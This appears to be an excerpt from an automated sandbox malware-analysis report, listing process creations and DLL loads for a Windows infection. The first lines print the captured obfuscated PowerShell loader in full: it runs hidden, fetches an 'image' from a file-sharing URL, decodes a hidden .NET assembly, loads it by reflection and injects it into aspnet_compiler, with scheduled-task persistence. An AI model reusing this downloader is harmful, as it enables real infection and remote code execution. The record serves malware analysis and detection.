Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES845C.tmp" "c:\Users\user\AppData\Local\Temp\mffkkngw\CSC9E50345C585C4EFF867E1FFD2050D1A6.TMP"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','\|').rEPlaCE('seY','$')\| . ((gV 'Mdr').nAmE[3,11,2]-jOIN'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\vtjrhji C:\Users\user\AppData\Roaming\vtjrhji

Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: credssp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
